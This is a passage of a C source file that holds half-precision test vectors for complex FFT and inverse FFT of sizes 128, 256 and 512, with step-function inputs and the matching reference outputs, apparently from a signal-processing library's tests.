0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0
};
static const uint16_t in_cifft_step_128[256] = {
0x5333, 0x0, 0xbb33, 0x5095, 0x0, 0x0, 0xbb33, 0x4a1a,
0x0, 0x0, 0xbb33, 0x474c, 0x0, 0x0, 0xbb33, 0x4530,
0x0, 0x0, 0xbb33, 0x4402, 0x0, 0x0, 0xbb33, 0x4281,
0x0, 0x0, 0xbb33, 0x4173, 0x0, 0x0, 0xbb33, 0x40ab,
0x0, 0x0, 0xbb33, 0x4010, 0x0, 0x0, 0xbb33, 0x3f27,
0x0, 0x0, 0xbb33, 0x3e5b, 0x0, 0x0, 0xbb33, 0x3daf,
0x0, 0x0, 0xbb33, 0x3d1d, 0x0, 0x0, 0xbb33, 0x3c9d,
0x0, 0x0, 0xbb33, 0x3c2c, 0x0, 0x0, 0xbb33, 0x3b90,
0x0, 0x0, 0xbb33, 0x3adb, 0x0, 0x0, 0xbb33, 0x3a36,
0x0, 0x0, 0xbb33, 0x399e, 0x0, 0x0, 0xbb33, 0x3912,
0x0, 0x0, 0xbb33, 0x388f, 0x0, 0x0, 0xbb33, 0x3814,
0x0, 0x0, 0xbb33, 0x3740, 0x0, 0x0, 0xbb33, 0x3662,
0x0, 0x0, 0xbb33, 0x358e, 0x0, 0x0, 0xbb33, 0x34c2,
0x0, 0x0, 0xbb33, 0x33f8, 0x0, 0x0, 0xbb33, 0x3278,
0x0, 0x0, 0xbb33, 0x30ff, 0x0, 0x0, 0xbb33, 0x2f1b,
0x0, 0x0, 0xbb33, 0x2c40, 0x0, 0x0, 0xbb33, 0x25a8,
0x0, 0x0, 0xbb33, 0xa5a8, 0x0, 0x0, 0xbb33, 0xac40,
0x0, 0x0, 0xbb33, 0xaf1b, 0x0, 0x0, 0xbb33, 0xb0ff,
0x0, 0x0, 0xbb33, 0xb278, 0x0, 0x0, 0xbb33, 0xb3f8,
0x0, 0x0, 0xbb33, 0xb4c2, 0x0, 0x0, 0xbb33, 0xb58e,
0x0, 0x0, 0xbb33, 0xb662, 0x0, 0x0, 0xbb33, 0xb740,
0x0, 0x0, 0xbb33, 0xb814, 0x0, 0x0, 0xbb33, 0xb88f,
0x0, 0x0, 0xbb33, 0xb912, 0x0, 0x0, 0xbb33, 0xb99e,
0x0, 0x0, 0xbb33, 0xba36, 0x0, 0x0, 0xbb33, 0xbadb,
0x0, 0x0, 0xbb33, 0xbb90, 0x0, 0x0, 0xbb33, 0xbc2c,
0x0, 0x0, 0xbb33, 0xbc9d, 0x0, 0x0, 0xbb33, 0xbd1d,
0x0, 0x0, 0xbb33, 0xbdaf, 0x0, 0x0, 0xbb33, 0xbe5b,
0x0, 0x0, 0xbb33, 0xbf27, 0x0, 0x0, 0xbb33, 0xc010,
0x0, 0x0, 0xbb33, 0xc0ab, 0x0, 0x0, 0xbb33, 0xc173,
0x0, 0x0, 0xbb33, 0xc281, 0x0, 0x0, 0xbb33, 0xc402,
0x0, 0x0, 0xbb33, 0xc530, 0x0, 0x0, 0xbb33, 0xc74c,
0x0, 0x0, 0xbb33, 0xca1a, 0x0, 0x0, 0xbb33, 0xd095
};
static const uint16_t ref_cfft_step_128[256] = {
0x5333, 0x0, 0xbb33, 0x5095, 0x0, 0x0, 0xbb33, 0x4a1a,
0x0, 0x0, 0xbb33, 0x474c, 0x0, 0x0, 0xbb33, 0x4530,
0x0, 0x0, 0xbb33, 0x4402, 0x0, 0x0, 0xbb33, 0x4281,
0x0, 0x0, 0xbb33, 0x4173, 0x0, 0x0, 0xbb33, 0x40ab,
0x0, 0x0, 0xbb33, 0x4010, 0x0, 0x0, 0xbb33, 0x3f27,
0x0, 0x0, 0xbb33, 0x3e5b, 0x0, 0x0, 0xbb33, 0x3daf,
0x0, 0x0, 0xbb33, 0x3d1d, 0x0, 0x0, 0xbb33, 0x3c9d,
0x0, 0x0, 0xbb33, 0x3c2c, 0x0, 0x0, 0xbb33, 0x3b90,
0x0, 0x0, 0xbb33, 0x3adb, 0x0, 0x0, 0xbb33, 0x3a36,
0x0, 0x0, 0xbb33, 0x399e, 0x0, 0x0, 0xbb33, 0x3912,
0x0, 0x0, 0xbb33, 0x388f, 0x0, 0x0, 0xbb33, 0x3814,
0x0, 0x0, 0xbb33, 0x3740, 0x0, 0x0, 0xbb33, 0x3662,
0x0, 0x0, 0xbb33, 0x358e, 0x0, 0x0, 0xbb33, 0x34c2,
0x0, 0x0, 0xbb33, 0x33f8, 0x0, 0x0, 0xbb33, 0x3278,
0x0, 0x0, 0xbb33, 0x30ff, 0x0, 0x0, 0xbb33, 0x2f1b,
0x0, 0x0, 0xbb33, 0x2c40, 0x0, 0x0, 0xbb33, 0x25a8,
0x0, 0x0, 0xbb33, 0xa5a8, 0x0, 0x0, 0xbb33, 0xac40,
0x0, 0x0, 0xbb33, 0xaf1b, 0x0, 0x0, 0xbb33, 0xb0ff,
0x0, 0x0, 0xbb33, 0xb278, 0x0, 0x0, 0xbb33, 0xb3f8,
0x0, 0x0, 0xbb33, 0xb4c2, 0x0, 0x0, 0xbb33, 0xb58e,
0x0, 0x0, 0xbb33, 0xb662, 0x0, 0x0, 0xbb33, 0xb740,
0x0, 0x0, 0xbb33, 0xb814, 0x0, 0x0, 0xbb33, 0xb88f,
0x0, 0x0, 0xbb33, 0xb912, 0x0, 0x0, 0xbb33, 0xb99e,
0x0, 0x0, 0xbb33, 0xba36, 0x0, 0x0, 0xbb33, 0xbadb,
0x0, 0x0, 0xbb33, 0xbb90, 0x0, 0x0, 0xbb33, 0xbc2c,
0x0, 0x0, 0xbb33, 0xbc9d, 0x0, 0x0, 0xbb33, 0xbd1d,
0x0, 0x0, 0xbb33, 0xbdaf, 0x0, 0x0, 0xbb33, 0xbe5b,
0x0, 0x0, 0xbb33, 0xbf27, 0x0, 0x0, 0xbb33, 0xc010,
0x0, 0x0, 0xbb33, 0xc0ab, 0x0, 0x0, 0xbb33, 0xc173,
0x0, 0x0, 0xbb33, 0xc281, 0x0, 0x0, 0xbb33, 0xc402,
0x0, 0x0, 0xbb33, 0xc530, 0x0, 0x0, 0xbb33, 0xc74c,
0x0, 0x0, 0xbb33, 0xca1a, 0x0, 0x0, 0xbb33, 0xd095
};
static const uint16_t in_cfft_step_256[512] = {
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0
};
static const uint16_t in_cifft_step_256[512] = {
0x5733, 0x0, 0xbb33, 0x5495, 0x0, 0x0, 0xbb33, 0x4e1c,
0x0, 0x0, 0xbb33, 0x4b53, 0x0, 0x0, 0xbb33, 0x493a,
0x0, 0x0, 0xbb33, 0x480f, 0x0, 0x0, 0xbb33, 0x46a0,
0x0, 0x0, 0xbb33, 0x4598, 0x0, 0x0, 0xbb33, 0x44d5,
0x0, 0x0, 0xbb33, 0x4440, 0x0, 0x0, 0xbb33, 0x4394,
0x0, 0x0, 0xbb33, 0x42d4, 0x0, 0x0, 0xbb33, 0x4235,
0x0, 0x0, 0xbb33, 0x41af, 0x0, 0x0, 0xbb33, 0x413b,
0x0, 0x0, 0xbb33, 0x40d8, 0x0, 0x0, 0xbb33, 0x4080,
0x0, 0x0, 0xbb33, 0x4033, 0x0, 0x0, 0xbb33, 0x3fdc,
0x0, 0x0, 0xbb33, 0x3f60, 0x0, 0x0, 0xbb33, 0x3ef0,
0x0, 0x0, 0xbb33, 0x3e8a, 0x0, 0x0, 0xbb33, 0x3e2d,
0x0, 0x0, 0xbb33, 0x3dd8, 0x0, 0x0, 0xbb33, 0x3d89,
0x0, 0x0, 0xbb33, 0x3d3f, 0x0, 0x0, 0xbb33, 0x3cfb,
0x0, 0x0, 0xbb33, 0x3cbb, 0x0, 0x0, 0xbb33, 0x3c80,
0x0, 0x0, 0xbb33, 0x3c47, 0x0, 0x0, 0xbb33, 0x3c12,
0x0, 0x0, 0xbb33, 0x3bc0, 0x0, 0x0, 0xbb33, 0x3b61,
0x0, 0x0, 0xbb33, 0x3b07, 0x0, 0x0, 0xbb33, 0x3ab0,
0x0, 0x0, 0xbb33, 0x3a5e, 0x0, 0x0, 0xbb33, 0x3a0f,
0x0, 0x0, 0xbb33, 0x39c3, 0x0, 0x0, 0xbb33, 0x397a,
0x0, 0x0, 0xbb33, 0x3934, 0x0, 0x0, 0xbb33, 0x38f1,
0x0, 0x0, 0xbb33, 0x38af, 0x0, 0x0, 0xbb33, 0x3870,
0x0, 0x0, 0xbb33, 0x3832, 0x0, 0x0, 0xbb33, 0x37ed,
0x0, 0x0, 0xbb33, 0x3779, 0x0, 0x0, 0xbb33, 0x3707,
0x0, 0x0, 0xbb33, 0x3698, 0x0, 0x0, 0xbb33, 0x362c,
0x0, 0x0, 0xbb33, 0x35c2, 0x0, 0x0, 0xbb33, 0x355a,
0x0, 0x0, 0xbb33, 0x34f4, 0x0, 0x0, 0xbb33, 0x3490,
0x0, 0x0, 0xbb33, 0x342d, 0x0, 0x0, 0xbb33, 0x3397,
0x0, 0x0, 0xbb33, 0x32d7, 0x0, 0x0, 0xbb33, 0x3219,
0x0, 0x0, 0xbb33, 0x315d, 0x0, 0x0, 0xbb33, 0x30a2,
0x0, 0x0, 0xbb33, 0x2fd3, 0x0, 0x0, 0xbb33, 0x2e63,
0x0, 0x0, 0xbb33, 0x2cf6, 0x0, 0x0, 0xbb33, 0x2b14,
0x0, 0x0, 0xbb33, 0x283e, 0x0, 0x0, 0xbb33, 0x21a8,
0x0, 0x0, 0xbb33, 0xa1a8, 0x0, 0x0, 0xbb33, 0xa83e,
0x0, 0x0, 0xbb33, 0xab14, 0x0, 0x0, 0xbb33, 0xacf6,
0x0, 0x0, 0xbb33, 0xae63, 0x0, 0x0, 0xbb33, 0xafd3,
0x0, 0x0, 0xbb33, 0xb0a2, 0x0, 0x0, 0xbb33, 0xb15d,
0x0, 0x0, 0xbb33, 0xb219, 0x0, 0x0, 0xbb33, 0xb2d7,
0x0, 0x0, 0xbb33, 0xb397, 0x0, 0x0, 0xbb33, 0xb42d,
0x0, 0x0, 0xbb33, 0xb490, 0x0, 0x0, 0xbb33, 0xb4f4,
0x0, 0x0, 0xbb33, 0xb55a, 0x0, 0x0, 0xbb33, 0xb5c2,
0x0, 0x0, 0xbb33, 0xb62c, 0x0, 0x0, 0xbb33, 0xb698,
0x0, 0x0, 0xbb33, 0xb707, 0x0, 0x0, 0xbb33, 0xb779,
0x0, 0x0, 0xbb33, 0xb7ed, 0x0, 0x0, 0xbb33, 0xb832,
0x0, 0x0, 0xbb33, 0xb870, 0x0, 0x0, 0xbb33, 0xb8af,
0x0, 0x0, 0xbb33, 0xb8f1, 0x0, 0x0, 0xbb33, 0xb934,
0x0, 0x0, 0xbb33, 0xb97a, 0x0, 0x0, 0xbb33, 0xb9c3,
0x0, 0x0, 0xbb33, 0xba0f, 0x0, 0x0, 0xbb33, 0xba5e,
0x0, 0x0, 0xbb33, 0xbab0, 0x0, 0x0, 0xbb33, 0xbb07,
0x0, 0x0, 0xbb33, 0xbb61, 0x0, 0x0, 0xbb33, 0xbbc0,
0x0, 0x0, 0xbb33, 0xbc12, 0x0, 0x0, 0xbb33, 0xbc47,
0x0, 0x0, 0xbb33, 0xbc80, 0x0, 0x0, 0xbb33, 0xbcbb,
0x0, 0x0, 0xbb33, 0xbcfb, 0x0, 0x0, 0xbb33, 0xbd3f,
0x0, 0x0, 0xbb33, 0xbd89, 0x0, 0x0, 0xbb33, 0xbdd8,
0x0, 0x0, 0xbb33, 0xbe2d, 0x0, 0x0, 0xbb33, 0xbe8a,
0x0, 0x0, 0xbb33, 0xbef0, 0x0, 0x0, 0xbb33, 0xbf60,
0x0, 0x0, 0xbb33, 0xbfdc, 0x0, 0x0, 0xbb33, 0xc033,
0x0, 0x0, 0xbb33, 0xc080, 0x0, 0x0, 0xbb33, 0xc0d8,
0x0, 0x0, 0xbb33, 0xc13b, 0x0, 0x0, 0xbb33, 0xc1af,
0x0, 0x0, 0xbb33, 0xc235, 0x0, 0x0, 0xbb33, 0xc2d4,
0x0, 0x0, 0xbb33, 0xc394, 0x0, 0x0, 0xbb33, 0xc440,
0x0, 0x0, 0xbb33, 0xc4d5, 0x0, 0x0, 0xbb33, 0xc598,
0x0, 0x0, 0xbb33, 0xc6a0, 0x0, 0x0, 0xbb33, 0xc80f,
0x0, 0x0, 0xbb33, 0xc93a, 0x0, 0x0, 0xbb33, 0xcb53,
0x0, 0x0, 0xbb33, 0xce1c, 0x0, 0x0, 0xbb33, 0xd495
};
static const uint16_t ref_cfft_step_256[512] = {
0x5733, 0x0, 0xbb33, 0x5495, 0x0, 0x0, 0xbb33, 0x4e1c,
0x0, 0x0, 0xbb33, 0x4b53, 0x0, 0x0, 0xbb33, 0x493a,
0x0, 0x0, 0xbb33, 0x480f, 0x0, 0x0, 0xbb33, 0x46a0,
0x0, 0x0, 0xbb33, 0x4598, 0x0, 0x0, 0xbb33, 0x44d5,
0x0, 0x0, 0xbb33, 0x4440, 0x0, 0x0, 0xbb33, 0x4394,
0x0, 0x0, 0xbb33, 0x42d4, 0x0, 0x0, 0xbb33, 0x4235,
0x0, 0x0, 0xbb33, 0x41af, 0x0, 0x0, 0xbb33, 0x413b,
0x0, 0x0, 0xbb33, 0x40d8, 0x0, 0x0, 0xbb33, 0x4080,
0x0, 0x0, 0xbb33, 0x4033, 0x0, 0x0, 0xbb33, 0x3fdc,
0x0, 0x0, 0xbb33, 0x3f60, 0x0, 0x0, 0xbb33, 0x3ef0,
0x0, 0x0, 0xbb33, 0x3e8a, 0x0, 0x0, 0xbb33, 0x3e2d,
0x0, 0x0, 0xbb33, 0x3dd8, 0x0, 0x0, 0xbb33, 0x3d89,
0x0, 0x0, 0xbb33, 0x3d3f, 0x0, 0x0, 0xbb33, 0x3cfb,
0x0, 0x0, 0xbb33, 0x3cbb, 0x0, 0x0, 0xbb33, 0x3c80,
0x0, 0x0, 0xbb33, 0x3c47, 0x0, 0x0, 0xbb33, 0x3c12,
0x0, 0x0, 0xbb33, 0x3bc0, 0x0, 0x0, 0xbb33, 0x3b61,
0x0, 0x0, 0xbb33, 0x3b07, 0x0, 0x0, 0xbb33, 0x3ab0,
0x0, 0x0, 0xbb33, 0x3a5e, 0x0, 0x0, 0xbb33, 0x3a0f,
0x0, 0x0, 0xbb33, 0x39c3, 0x0, 0x0, 0xbb33, 0x397a,
0x0, 0x0, 0xbb33, 0x3934, 0x0, 0x0, 0xbb33, 0x38f1,
0x0, 0x0, 0xbb33, 0x38af, 0x0, 0x0, 0xbb33, 0x3870,
0x0, 0x0, 0xbb33, 0x3832, 0x0, 0x0, 0xbb33, 0x37ed,
0x0, 0x0, 0xbb33, 0x3779, 0x0, 0x0, 0xbb33, 0x3707,
0x0, 0x0, 0xbb33, 0x3698, 0x0, 0x0, 0xbb33, 0x362c,
0x0, 0x0, 0xbb33, 0x35c2, 0x0, 0x0, 0xbb33, 0x355a,
0x0, 0x0, 0xbb33, 0x34f4, 0x0, 0x0, 0xbb33, 0x3490,
0x0, 0x0, 0xbb33, 0x342d, 0x0, 0x0, 0xbb33, 0x3397,
0x0, 0x0, 0xbb33, 0x32d7, 0x0, 0x0, 0xbb33, 0x3219,
0x0, 0x0, 0xbb33, 0x315d, 0x0, 0x0, 0xbb33, 0x30a2,
0x0, 0x0, 0xbb33, 0x2fd3, 0x0, 0x0, 0xbb33, 0x2e63,
0x0, 0x0, 0xbb33, 0x2cf6, 0x0, 0x0, 0xbb33, 0x2b14,
0x0, 0x0, 0xbb33, 0x283e, 0x0, 0x0, 0xbb33, 0x21a8,
0x0, 0x0, 0xbb33, 0xa1a8, 0x0, 0x0, 0xbb33, 0xa83e,
0x0, 0x0, 0xbb33, 0xab14, 0x0, 0x0, 0xbb33, 0xacf6,
0x0, 0x0, 0xbb33, 0xae63, 0x0, 0x0, 0xbb33, 0xafd3,
0x0, 0x0, 0xbb33, 0xb0a2, 0x0, 0x0, 0xbb33, 0xb15d,
0x0, 0x0, 0xbb33, 0xb219, 0x0, 0x0, 0xbb33, 0xb2d7,
0x0, 0x0, 0xbb33, 0xb397, 0x0, 0x0, 0xbb33, 0xb42d,
0x0, 0x0, 0xbb33, 0xb490, 0x0, 0x0, 0xbb33, 0xb4f4,
0x0, 0x0, 0xbb33, 0xb55a, 0x0, 0x0, 0xbb33, 0xb5c2,
0x0, 0x0, 0xbb33, 0xb62c, 0x0, 0x0, 0xbb33, 0xb698,
0x0, 0x0, 0xbb33, 0xb707, 0x0, 0x0, 0xbb33, 0xb779,
0x0, 0x0, 0xbb33, 0xb7ed, 0x0, 0x0, 0xbb33, 0xb832,
0x0, 0x0, 0xbb33, 0xb870, 0x0, 0x0, 0xbb33, 0xb8af,
0x0, 0x0, 0xbb33, 0xb8f1, 0x0, 0x0, 0xbb33, 0xb934,
0x0, 0x0, 0xbb33, 0xb97a, 0x0, 0x0, 0xbb33, 0xb9c3,
0x0, 0x0, 0xbb33, 0xba0f, 0x0, 0x0, 0xbb33, 0xba5e,
0x0, 0x0, 0xbb33, 0xbab0, 0x0, 0x0, 0xbb33, 0xbb07,
0x0, 0x0, 0xbb33, 0xbb61, 0x0, 0x0, 0xbb33, 0xbbc0,
0x0, 0x0, 0xbb33, 0xbc12, 0x0, 0x0, 0xbb33, 0xbc47,
0x0, 0x0, 0xbb33, 0xbc80, 0x0, 0x0, 0xbb33, 0xbcbb,
0x0, 0x0, 0xbb33, 0xbcfb, 0x0, 0x0, 0xbb33, 0xbd3f,
0x0, 0x0, 0xbb33, 0xbd89, 0x0, 0x0, 0xbb33, 0xbdd8,
0x0, 0x0, 0xbb33, 0xbe2d, 0x0, 0x0, 0xbb33, 0xbe8a,
0x0, 0x0, 0xbb33, 0xbef0, 0x0, 0x0, 0xbb33, 0xbf60,
0x0, 0x0, 0xbb33, 0xbfdc, 0x0, 0x0, 0xbb33, 0xc033,
0x0, 0x0, 0xbb33, 0xc080, 0x0, 0x0, 0xbb33, 0xc0d8,
0x0, 0x0, 0xbb33, 0xc13b, 0x0, 0x0, 0xbb33, 0xc1af,
0x0, 0x0, 0xbb33, 0xc235, 0x0, 0x0, 0xbb33, 0xc2d4,
0x0, 0x0, 0xbb33, 0xc394, 0x0, 0x0, 0xbb33, 0xc440,
0x0, 0x0, 0xbb33, 0xc4d5, 0x0, 0x0, 0xbb33, 0xc598,
0x0, 0x0, 0xbb33, 0xc6a0, 0x0, 0x0, 0xbb33, 0xc80f,
0x0, 0x0, 0xbb33, 0xc93a, 0x0, 0x0, 0xbb33, 0xcb53,
0x0, 0x0, 0xbb33, 0xce1c, 0x0, 0x0, 0xbb33, 0xd495
};
static const uint16_t in_cfft_step_512[1024] = {
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
